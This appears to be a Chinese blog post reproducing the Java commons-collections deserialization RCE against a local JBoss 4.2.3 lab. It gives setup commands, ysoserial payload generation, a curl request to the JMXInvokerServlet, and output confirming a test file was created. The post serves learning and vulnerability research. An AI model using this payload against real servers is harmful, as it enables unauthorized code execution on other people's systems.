关于java unserialize rce 一些细节和jboss rce 实践
原理
大概和php的差不多反序列化时对象注入可以造成代码执行,例如 commons-collections-3.2.1.jar 包就存在这个漏洞,所以只要使用了这个lib的都有可能rce,例如jboss,jenkins,weblogic 等。
利用方法
有人写了一个执行命令的payload 生成器,java反射调用Runtime.getRunTime.exec 执行命令,应该也可以改成写文件之类的(未验证)。
jboss 利用实践
环境1
2
3
4
5
6
7
8
9yum install java-1.7.0-openjdk-devel -y
wget -O jboss-4.2.3.zip http://sourceforge.net/projects/jboss/files/JBoss/JBoss-4.2.3.GA/jboss-4.2.3.GA-jdk6.zip/download
unzip jboss-4.2.3.zip
mv jboss-4.2.3.GA /usr/local/share/jboss
adduser appserver
chown -R appserver /usr/local/share/jboss
su -l appserver
cd /usr/local/share/jboss/bin
./run.sh -b 0.0.0.0
exploit1
2
3
4wget https://github.com/frohoff/ysoserial/releases/download/v0.0.2/ysoserial-0.0.2-all.jar
java -jar ysoserial-0.0.2-all.jar CommonsCollections1 'echo 1 > /tmp/pwned' > payload
java -jar ysoserial-0.0.2-all.jar CommonsCollections1 'touch /tmp/pwned' > /tmp/payload
curl --header 'Content-Type: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue' --data-binary '@/tmp/payload' http://127.0.0.1:8080/invoker/JMXInvokerServlet
测试1
2
3
4
5
6
7
8
9[root@uauc ~]# rm -rf /tmp/pwned
[root@uauc ~]# ls -lh /tmp/pwned
ls: cannot access /tmp/pwned: No such file or directory
[root@uauc ~]# curl --header 'Content-Type: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue' --data-binary '@/tmp/payload' http://127.0.0.1:8080/invoker/JMXInvokerServlet > 1.log
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 5335 0 3927 100 1408 39474 14153 --:--:-- --:--:-- --:--:-- 42225
[root@uauc ~]# ls -lh /tmp/pwned
-rw-rw-r-- 1 appserver appserver 0 Nov 10 15:27 /tmp/pwned
更多
具体漏洞原理利用以及受影响应用还待研究,权为抛砖引玉,欢迎讨论。
参考资料
http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#thevulnerability
https://github.com/foxglovesec/JavaUnserializeExploits
https://github.com/frohoff/ysoserial